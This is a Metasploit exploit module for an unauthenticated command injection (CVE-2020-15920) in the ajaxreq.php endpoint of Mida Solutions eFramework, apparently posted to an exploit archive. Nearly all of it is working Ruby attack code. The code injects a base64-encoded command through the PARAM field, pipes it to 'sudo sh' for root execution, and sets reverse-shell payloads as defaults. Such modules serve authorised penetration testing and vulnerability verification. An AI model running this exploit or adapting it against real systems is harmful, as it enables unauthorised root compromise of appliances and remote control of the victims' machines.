Mida Solutions eFramework ajaxreq.php Command Injection

2020.09.17
Credit: Brendan Coles
Risk: High
Local: No
Remote: Yes
CVE: N/A
CWE: CWE-78

## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking prepend Msf::Exploit::Remote::AutoCheck include Msf::Exploit::Remote::HttpClient include Msf::Exploit::CmdStager def initialize(info = {}) super( update_info( info, 'Name' => 'Mida Solutions eFramework ajaxreq.php Command Injection', 'Description' => %q{ This module exploits a command injection vulnerability in Mida Solutions eFramework version 2.9.0 and prior. The `ajaxreq.php` file allows unauthenticated users to inject arbitrary commands in the `PARAM` parameter to be executed as the apache user. The sudo configuration permits the apache user to execute any command as root without providing a password, resulting in privileged command execution as root. This module has been successfully tested on Mida Solutions eFramework-C7-2.9.0 virtual appliance. }, 'License' => MSF_LICENSE, 'Author' => [ 'elbae', # discovery and exploit 'bcoles', # Metasploit ], 'References' => [ ['CVE', '2020-15920'], ['EDB', '48768'], ['URL', 'https://elbae.github.io/jekyll/update/2020/07/14/vulns-01.html'], ], 'Payload' => { 'BadChars' => "\x00" }, 'Targets' => [ [ 'Linux (x86)', { 'Arch' => ARCH_X86, 'Platform' => 'linux', 'DefaultOptions' => { 'PAYLOAD' => 'linux/x86/meterpreter/reverse_tcp' } } ], [ 'Linux (x64)', { 'Arch' => ARCH_X64, 'Platform' => 'linux', 'DefaultOptions' => { 'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp' } } ], [ 'UNIX (cmd)', { 'Arch' => ARCH_CMD, 'Platform' => 'unix', 'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_bash' } } ] ], 'Privileged' => true, 'DisclosureDate' => '2020-07-24', 'DefaultOptions' => { 'RPORT' => 443, 'SSL' => true }, 'DefaultTarget' => 1, 'Notes' => { 'Stability' => [ CRASH_SAFE ], 'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ], 'Reliability' => [ REPEATABLE_SESSION ] } ) ) register_options([ OptString.new('TARGETURI', [true, 'Base path to eFramework', '/']) ]) end def check res = execute_command('id') unless res return CheckCode::Safe('Connection failed') end unless res.body.include?('uid=') return CheckCode::Safe('Target is not vulnerable') end CheckCode::Vulnerable end def execute_command(cmd, _opts = {}) vars_post = { 'DIAGNOSIS' => ['PING', 'TRACEROUTE'].sample, 'PARAM' => ";echo #{Rex::Text.encode_base64(cmd)}|base64 -d|sudo sh" } res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'PDC', 'ajaxreq.php'), 'vars_post' => vars_post }, 5) if res && !res.body.blank? vprint_status("Command output: #{res.body.gsub(/<br>/, "\n")}") end res end def exploit if target.arch.first == ARCH_CMD execute_command(payload.encoded) else execute_cmdstager(linemax: 1_500, background: true) end end end


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